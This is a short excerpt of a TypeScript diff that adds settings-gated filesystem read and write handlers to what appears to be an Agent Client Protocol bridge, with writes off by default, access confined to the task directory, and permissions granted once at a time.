const cancelledResponse: RequestPermissionResponse = {
outcome: { outcome: "cancelled" },
};
@@ -150,6 +174,13 @@ export function createBridgingClientHandler(
},
};
// Register fs handlers ONLY when enabled, so the advertised capability and the
// present handler stay consistent (KTD6). If a capability is disabled the
// method is absent → an agent calling it gets a JSON-RPC method-not-found
// error (never a silent success).
if (fsHandlers.readTextFile) handler.readTextFile = fsHandlers.readTextFile;
if (fsHandlers.writeTextFile) handler.writeTextFile = fsHandlers.writeTextFile;
return { handler, cancelPending };
}

View File

@@ -57,9 +57,18 @@ export class AcpRuntimeAdapter implements AgentRuntime {
// its `requestPermission` classifies each call per-category against the live
// gate (KTD3a) and selects `allow_once` only (S2). `cancelPending` drains
// in-flight permission requests on teardown so the agent never deadlocks.
// fs client capabilities (U7) are gated by settings — reads opt-in, writes
// default OFF (KTD6) — and confined to the task cwd by the path jail. The
// same toggles drive the advertised `fs` capability in connect() below, so
// advertisement and registered handlers stay consistent.
const { handler: clientHandler, cancelPending } = createBridgingClientHandler(
callbacks,
options.actionGateContext,
{
cwd: options.cwd,
allowRead: this.settings.fsRead,
allowWrite: this.settings.fsWrite,
},
);
// Spawn + initialize (U2). fs capabilities are advertised only where the